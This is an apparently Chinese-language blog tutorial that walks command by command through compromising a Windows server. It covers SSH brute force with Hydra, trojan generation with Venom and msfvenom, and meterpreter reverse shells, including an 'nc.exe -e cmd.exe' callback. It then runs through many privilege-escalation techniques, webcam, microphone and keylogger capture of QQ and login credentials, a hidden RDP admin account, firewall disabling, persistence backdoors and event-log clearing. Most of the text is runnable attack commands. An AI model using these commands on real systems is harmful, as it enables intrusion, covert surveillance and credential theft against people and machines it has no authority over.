寻找目标并测试开放端口
开始前的准备 我们先配置下电脑. 客户端kalilinux 目标windows服务器也是我们的目标 如果你不知道怎么配置公网服务器可以参考下我之前的文章:https://www.cnblogs.com/eternalnight/p/13937041.html
nmap -sS -Pn -p10023 -o xxxxxxxx.com
准备字典
1..我自己做的python字典生成,简介方便kali把源码复制就能用了https://www.cnblogs.com/eternalnight/p/13943390.html
python createDic.py
2.kali自带的生成字典命令
crunch 8 8 +0123 -t admin%%% >passwd.txt
由于尝试ssh密码 比正常的要么,所以密码必须精选. 生成8位,前5位是admin后3位是 0123其中的枚举
OK我们手动打开,把需要的留下,并且手动添加常规密码.
echo -e "Administrator\x0Aadmin\x0Asshd_server\x0Atest" >>users.txt
把用户名发送到users.txt \x0A是换行分割用户 admin test
echo "xxxxxxx.com" >>targetIP.txt
把目标的IP或网址发送到targetIP.txt目标端口
hydra -p test123 -l test -o output.txt -V ssh://192.168.0.111:10023 hydra -P passwd.txt -L users.txt -M targetIP.txt -o output.txt -V ssh -s 10023
两个对比,我更喜欢后者,可以批量处理.最后结果输出到output.txt文件
cat output.txt |awk -F'\x20' '/password/{print $1,$2,$3,$4,$5,$6,$7}' |uniq -c
查找output.txt的密码数据 拿到密码和端口就尝试登陆啦,
ssh test@xxxxxxxxxx.com -p10023
漏洞扫描安装
Rapid7 Nexpose:(商用软件)适合较大的网络 Tenable Nessus:(商用软件)价格相当更经济一些 OpenVas:免费使用的工具,更适合个人使用我们所用的版本是kali2020.3 openvas在2020版本后就不存在直接安装,改用GVM
sudo apt-get update &&sudo apt-get upgrade -y &&sudo apt-get dist-upgrade sudo apt-get clean sudo apt-get install gvm sudo gvm-setup我这把执行gvm-setup就出现了故障,参考下面故障解决后,再执行就没问题了。最后执行gvm-setup就可以了,gvm-setup过程比较久。
这样算成功了
sudo gvm-start sudo gvm-check-setup
最好先gvm-start开启网页,要不然问题巨他妈多. 看到:It seems like your GVM-11 installation is OK,说明安装完成了
sudo gvm-feed-update
升级特征库 但后期使用记得经常升级特征库哦
sudo gvmd --user=admin --new-password=admin123 sudo runuser -u _gvm -- gvmd --user=admin --new-password=admin123 frefox https://127.0.0.1:9392/
sudo gvm-start sudo gvm-stop https://127.0.0.1:9392/默认是这个本地网址端口
- 故障1
sudo apt-get install gcc-8-base
- 故障2
sudo apt-get install mutter gcc-8-base
- 故障3
- 故障4
sudo apt-get install postgresql-12 sudo pg_dropcluster 12 main --stop sudo pg_upgradecluster 11 main故障3和故障4都一样方法解决
- 故障5
sudo apt-get install postgresql-13 sudo systemctl stop postgresql@13-main sudo systemctl daemon-reload sudo pg_dropcluster 13 main --stop sudo pg_upgradecluster 12 mainKali默认使用postgresql的版本是12,而openvas要13,而且12与13不兼容 解决:停了12用13 漏洞扫描配置openvas目标
目标是WIN10,我们只需要等待扫描即可,要确保目标是能ping的通的
漏洞扫描配置openvas任务
选择Scans>Reports>
这就是我们这次扫描所有的端口所找到的漏洞, 1.SMB Brute Force Logins With Default credentials 使用默认凭据进行SMB暴力登录 高危 漏洞 2.DCE/RPC and MSRPC services Enumeration Reporting DCE/PRC和MSRPC服务枚举报告
SMB 网络服务 | SMB (Server Message Block,服务器消息块) 首先提供了 Windows 网络中最常用的远程文件与打印机共享网络服务;其次,SMB 的命名管道是 MSRPC 协议认证和调用本地服务的承载传输层。 SMB 作为应用层协议,既可以直接运行在 TCP 445 端口上,也可以通过调用 NBT 的 TCP 139 端口来接收数据。SMB 的文件与打印机共享服务中已被发现的安全漏洞达到数十个之多,其中可以导致远程代码执行的高危性漏洞也有十多个,包括:MS10-054、MS10-012 等。 |
DCE/RPC | 独立运行于网络传输层协议之上,采用的网络传输层协议包括 ncacn_ip_tcp (TCP 135 端口)、ncadg_ip_udp (UDP 135 端口)、ncacn_np (TCP 139、445 端口) 等 在 MSRPC 自身可能存在安全漏洞 (如 MS09-026) 的同时,作为调用大量本地服务进程的网络接口,也常常被利用来出发这些本地服务中存在的安全漏洞。由此很多本地服务安全漏洞以 MSRPC over SMB 为通道进行攻击,MS05-039 安全漏洞就是其中之一。攻击者通过发送数据到远程主机上的 SMB 协议的 445 端口,通过 MSRPC 调用远程主机的即插即用 (Plug and Play Service) 服务,溢出该服务进程的栈缓冲区,达到控制主机的目的;而 Server 服务路径规范化处理不当漏洞 (MS08-067) 也是通过 MSRPC 协议,经过 SMB 服务通道,利用 Server 服务的 NetPathCanonicalize 方法中存在的安全漏洞。 |
MSRPC | (MicroSoft Remote Procedure Call,微软远程过程调用) 是对 DCE/RPC 在 Windows 系统下的重新改进和实现,用以支持 Windows 系统中的应用程序能够无缝地通过网络调用远程主机上服务进程中的过程。 |
RDP 远程桌面服务 | RDP (Remote Desktop Protocol,远程桌面协议) 由微软开发,提供给远程的客户端用户一个登陆服务器的图形界面接口,服务默认运行于 TCP 3389 端口。 由于服务器的管理人员经常需要远程管理主机,所以服务器基本都会启用 RDP 服务。针对该服务的攻击也时有发生,除了口令猜测、破解等试图绕过认证的攻击之外,内存攻击也时有发生。2012 年爆出的 MS12-020 漏洞就是其中的典型例子。该漏洞存在于 RDP 服务的底层驱动文件 Rdpwd.sys 中,属于内核级漏洞。攻击者通过向远程主机的 3389 端口发送恶意数据包,造成服务程序使用一个不存在的指针,导致远程主机崩溃,达到拒绝服务攻击的目的。 |
IPC$ | Internet Process Connection 网络进程连接,是共享"命名管道"的资源。 445/tcp端口 |
sudo msfdb init
service postgresql@13-main restart service postgresql restart sudo msfdb reinit 如果有问题就可以参考这三条命令
msfconsole db_import Downloads/
hosts vulns
漏洞信息都上传到msfconsole了。
cd /usr/share/metasploit-framework/plugins/ sudo wget https://raw.githubusercontent.com/hahwul/metasploit-db_autopwn/master/db_autopwn.rb
打开另外一个终端下载,自动攻击db
load db_autopwn
db_autopwn -t -p -e -r
正在批量自动化攻击反弹shell
结果不是很好,并没有反弹shell成功。虽然没成功毕竟不是靶机,但我们也学习到了如何利用漏洞。
我们接下来就登陆漏洞和爆破拿到的test test123账号密码去进行提权木马生成
Venom架构(虽然可以绕,但是问题很多)
sudo apt-get install xterm git clone https://github.com/r00t-3xp10it/venom.git mkdir -p ~/Tools &&mv venom ~/Tools/ &&cd ~/Tools/venom find ./ -name "*.sh" -exec chmod +x {} \; find ./ -name "*.py" -exec chmod +x {} \; cd aux &&sudo ./setup.sh/usr/share/metasploit-framework #库安装目录位置,根据自己实际情况去定 /var/www/html #设置AP目录(apache2 webserver) /opt/.wine #输入.wine 目录路径 #zenity: relocation error: /usr/lib/x86_64-linux-gnu/libxslt.so.1: symbol xmlBufContent version LIBXML2_2.9.0 not defined in file libxml2.so.2 with link time reference #发现配置依赖过程中出现zenity按自己实际情况操作下面命令,要注意看自己是什么版本的libxml操作下面。 mv /usr/local/lib/libxml 2.so.2.7.8 /usr/local/lib/libxml2.so.2.7.8_bak mv /usr/local/lib/libxml2.so.2 /usr/local/lib/libxml2.so.2_bak ln -s /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.4 /usr/local/lib/libxml2.so.2 另外注意,在parrot系统中,root用户无法直接使用systemctl start apache2.service开启apache等服务, 必须普通用户才行。否则会提示 #systemctl restart apache2.service #Failed to restart apache2.service: Access denied #See system logs and 'systemctl status apache2.service' for details.
cd .. sudo ./venom.sh -u
这里说明下,要根据目标的系统类型去选择,我的目标是64位操作系统则选择windows/x64
其他的都默认提示选或者自己填
提权
1.sc其实跟net 等都是管理服务的一种工具,所有服务都是由system系统最高权限去执行
sc Create syscmd binPath= "cmd /K start" type= own type= interact我通过sc去获得一个交互式的cmd命令框既管理权限,不过在安全强度大的计算机是行不通的
2.at时间执行跟上面原理相似,同样是由system执行,但是如果上面失败了,这个也行不通
at 11:15 /interactive cmd
3.net命令直接提权
net localgroup administrators test成功率极低
4.在kali操作监听目标端口
nc XXXXXX.com 10023
但是需要关闭对方防火墙,由于你没权限所以无法做到,但是我还是做了示范 netsh advfirewall set currentprofile state off,需要powershell执行才能全部关闭
5.上传木马漏洞提权 先配置本机的kali的ssh服务能让sftp能回传,我之前发过ssh权限服务端设置:https://www.cnblogs.com/eternalnight/p/13937041.html先上传无密码登陆的公钥
sftp -P10023 test@xxxx.com put -r Tools/venom/output/5cmd64.exe这里说明下,由于sftp的通道是建立在ssh也就是说传输的位置就会在,ssh 传输windows稍微麻烦点,我们用sftp也是用ssh通道的E:\SSH\home\test\5cmd.exe.
之后我会专门做一期高度免杀的木马,由于内容比较繁琐,所以你们尽量用靶机测试,我的服务器是配置了火绒 已经免杀了可以看到.准备好监听
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp) set LHOST 192.168.0.111 set LPORT 666 exploit
监听好
ssh -p10023 test@xxxxx.com "/home/test/5cmd64.exe"
发送一条远程执行命令,这里必须强调一点,SSH尽量安装在C盘,否则会出现各种不必要的权限问题
拿到反弹shell,但是还是普通用户
各种颅内高潮提权操作
1.最简单但也是最危险的操作,如果对方有像火绒一样的就会察觉并且封杀你的木马,导致你无法再次登录。
getsystem
2.exp溢出提权漏洞 ms10_073_kbdlayout
background
我们先在meterpreter输入:background 后台放置,方便我们非关闭会话
我们直接sessions 1就能回到meterpreter
search ms10_073_kbdlayout
use post/windows/escalate/ms10_073_kbdlayout options
set SESSION 1 exploit sessions 1
或者直接在meterpreter执行 run post/windows/escalate/ms10_073_kbdlayout
目标系统不易受攻击 也就没有这方面的漏洞。OK我们试下一个
3.盗取令牌 直接在meterpreter操作
use incognito
进入模块
list_tokens -u
依旧失败,我们只有目前爆破的用户的口令,不过下面示范下如何获取口令
impersonate_token "NT AUTHORITY\\SYSTEM"
用户前面需要添加两个\\
meterpreter中文乱码
chcp 65001
如果你已经拿到了system shell那么你就跳过提权步骤,转到下方操作后续。
4.Bypassuac 绕过用户控制漏洞
为了远程执行目标的exe或者bat可执行文件绕过此安全机 UAC(UserAccount Control,用户账户控制)
简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
background search bypassuac
use exploit/windows/local/bypassuac show options set session 1 exploit成功后会返回一个新的session,进入新会话,发现权限没变,使用getsystem即可完成提权 5.HASH
run post/windows/gather/hashdump run post/windows/gather/smart_hashdump
抓取密码,被拒绝访问了。如果成功了就可以通过执行下面命令提权
background use exploit/windows/smb/psexec options set rhost xxxx.com set SMBuser 我们捕获的hash用户名 set SMBPass HASH值 set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.0.111 set lport 4444 exploit
关于john the ripper暴力破解
https://download.openwall.net/pub/projects/john/contrib/windows/官网windows下载
6.Service Permissions 服务权限漏洞
use exploit/windows/local/service_permissions options set session 1 run
这个漏洞可以针对 OS : Windows 10 (10.0 Build 19041). Architecture : x64
7. 内置漏洞提取以及运用use post/multi/recon/local_exploit_suggester set session 1 run
发现有3个漏洞可以直接利用
8.柳暗花明(enum_services利用)
use post/windows/gather/enum_services set session 1 run
shell cacls E:\Huorong\Sysdiag\bin\wsctrlsvc.exe
好吧我们看到的这个服务是火绒,太岁头上动土,哈哈。查看这个服务的权限,发现到这个服务是允许普通用户修改的。我把服务换成我们木马重启的时候就可以上线了。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.111 LPORT=668 -f exe-service -o wsctrlsvc.exe upload /home/kali/wsctrlsvc.exe "E:\\Huorong\\Sysdiag\\bin\\wsctrlsvc.exe"
权限不足,拒绝访问,原因很简单,杀毒软件不是这么容易改的,所以真能认了,但是后面还是模拟一下成功后的操作。
net start wsctrlsvc.exe sessions
9. 凭证存储 Windows7之后的操作系统提供了windows保险柜功能
Window保险柜存储Windows可以自动登录用户的凭据,这意味着需要凭据才能访问资源(服务器或网站)的任何Windows应用程序都可以使用此凭据管理器和Windows Vault并使用提供的凭据代替用户一直输入用户名和密码。
cmdkey /list
runas来以管理员权限启动nc反弹shell。
Runas /user:administrator /savecred "nc.exe -e cmd.exe 192.168.0.111 4433"
nc -lvvp 4433
10.使用Potato(烂土豆) 窃取system 令牌并模仿令牌
https://github.com/foxglovesec/Potato 官方
https://www.bilibili.com/video/av91087772 bilibili上的某教程
git clone https://github.com/foxglovesec/Potato.git cd Potato/source/Potato/Potato/obj/Release
把它丢到WINDOWS中,在meterpreter操作
use incognito list_tokens -u
发现还没有system权限的令牌
execute -cH -f ./potato.exe
impersonate_token "NT AUTHORITY\\SYSTEM" shell whoami whoami /priv
EXP原理浅析
1.欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。2.对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
11.永恒之蓝(ms17-010)提权针对win7use exploit(windows/smb/ms17_010_eternalblue set rhosts xxxx.com run
12.流氓 沾滞键提权漏洞 在meterpreter下执行
run post/windows/manage/sticky_keys
在 RDP(3389远程桌面) or UAC(用户账号控制)模式下连续按5次 Shift键就会提权system
常用meterpreter简单测试命令
摄像头
列表
webcam_list
快照
webcom_snap 录像 停止 run webcom -s run webcom -p /var/www/ 实时摄像头传输直播 webcam_stream 截屏 screenshot 鼠标键盘控制权,-h详细命令 uictl -h 视频聊天,对方会弹窗 webcam_chat 麦克风记录5秒 -p 默认为true自动播放record_mic -d 5 -p false远程控制:要求管理权限,如果没有权限,可以参考上面提权。
查看状态 enumdesktops 查看可用的session getdesktop 与meterpreter关联session setdesktop 设置meterpreter关联session 开启远程3389端口rdp run post/windows/manage/enable_rdp USERNAME=rdpTest PASSWORD=123 FORWARD=true LPORT=6662 第一种:开启远程端口 run getgui -u rdpTest -p 123 -f 777 第二种:我们启动远程 上面是建立一个,允许账号rdpTest 密码123登陆 3389端口转发到777 run getgui -e纯开启远程端口,
结果就会创建一个名为rdpTest的拥有管理权限的用户
run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__xxxxx.rc 我们运行上面命令就会清理掉远程信息包含rdpTest管理员账户 如果以上方法都无法开启3389则在下面执行 shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 注册表开启远程端口,把后面的000.....改成11111111则关闭 连接3389端口rdesktop -e -u "rdpTest" -p "123" 192.168.0.142:3389 远程控制run VNC
run vnc 虽然远程桌面打开了,但是依旧无法控制。解决办法如下 sudo vim /usr/share/metasploit-framework/scripts/meterpreter/vnc.rb 添加到111和104行: pay.datastore['ViewOnly'] = false 我们需要修改meterpreter下的vnc.rb配置 位置在111行 和104行添加 键盘监听记录
meterpreter内置的记录,但是不能自动保存,缺点 keyscan_start 监听开始 keyscan_dump 下载记录内容 这里注意了,内置的记录它不会显示中文只会用特殊符号表示。停止记录 keyscan_stop 进阶监听系统登录信息,账号密码。
ps |grep winlogon migrate 924 keyscan_start 我们通过迁移进程PID,去记录用户登录系统账号密码信息。 模块运用post/windows/capture/keylog_recorder 保存 键盘记录
ps |grep QQ migrate 2088 run keylog_recorder 我们将meterpreter迁移到QQ,当QQ开启的时候meterpreter也同时启动。 监听到的结果都会保存到红线文件中,就解决了meterpreter内置不能保存的问题。 模块迁移meterpreter run post/windows/manage/migrate
我们可以看到模块帮我们迁移到笔记本,隶属于system组
自己的项目用于替代meterpreter内置外置的键盘鼠标监听离开了几个星期的时间,去开发了个项目去替代meterpreter的键盘监听,这个项目定义名 KBMonitor,现在终于完成项目回来了。做着这个笔记总觉得上面两种键盘监听太鸡肋,所以头脑发热开发了个。版本从1.0更新至2.0,目前BUG问题较少可以放心使用。 我的博客上另一篇文章有详细的教程和源码分析:https://www.cnblogs.com/eternalnight/p/14045089.html git clone https://github.com/EternalNight996/KBMonitor.git 源码和成品我都放在github上面,执行上面命令就可以全部下载。成品双击执行即可,但是有方法,还是得看看博客怎么使用。项目分四部分 1.windows监控端 2.windows监控传输端 3.windows服务端 4.linux服务端。。。。其功能十分强大,可以监控任意你想监控的软件浏览器,并截屏。实时回传服务端。
我们现在拿到了管理员权限,则就可以放置一个实时监听,再设置每次重启就会打开。。。下面我将演示利用这个软件怎么达到一个实时不间断控制。
git clone https://github.com/EternalNight996/KBMonitor.git cd KBMonitor/output/LinuxServer python3 SocketLinuxServer.py 配置自己服务器也就是本机的IP或者域名,以及端口。会生成一个目录和文件,将Monitor_config.txt文件复制到windows客户端打开另一个终端执行
cp KBMonitor/output/LinuxServer/Monitor_config.txt KBMonitor/output/WinClient/Monitor_config.txt 这时候我们就将客户端发送到目标电脑。在meterpreter执行下面命令 getlwd
mkdir D:\\Mycode upload -r /home/kali/myProject/venvs/KBMonitor/output/WinClient D:\\Mycode\\shell cd /d D:\\Mycode\\ run.vbs 我打开QQ输入账号密码,
开启防火墙,两种方法
netsh advfirewall set currentprofile state on netsh firewall set opmode mode=enable 关闭防火墙,两种方法 netsh advfirewall set currentprofile state off netsh firewall set opmode mode=disable 还原策略默认值 netsh advfirewall reset 添加防火墙进出规则,目标我们的meterpreter木马和我们的监控项目netstat -ano
netsh advfirewall firewall add rule name="allow667inport" protocol=TCP dir=in localport=667 action=allow
netsh advfirewall firewall add rule name="allow667outport" protocol=TCP dir=out localport=667 action=allow netsh advfirewall firewall add rule name="allow6667inport" protocol=TCP dir=in localport=6667 action=allow netsh advfirewall firewall add rule name="allow6667outport" protocol=TCP dir=out localport=6667 action=allow meterpreter持续后门Persistence
-A | 自动启动一个匹配exploit /multi/handler来连接到代理 |
-L | 如果未使用%TEMP%则在目标主机中写入有效负载的位置 |
-P | 有效负载使用,默认为windows / meterpreter / reverse_tcp。 |
-S | 作为服务自动启动该木马(具有SYSTEM权限) |
-T | 要使用的备用可执行模板 |
-U | 用户登录时自动启动该木马 |
-X | 系统引导时自动启动该木马 |
-i | 每次连接尝试之间的时间间隔(秒) |
-p | 运行Metasploit的系统正在侦听的端口 |
-r | 运行Metasploit监听连接的系统的IP |
命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。 同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。 | |
-A | 安装后门后,自动启动exploit/multi/handler模块连接后门 |
-r | 删除后门 |
clearev exit session -K
TO THE END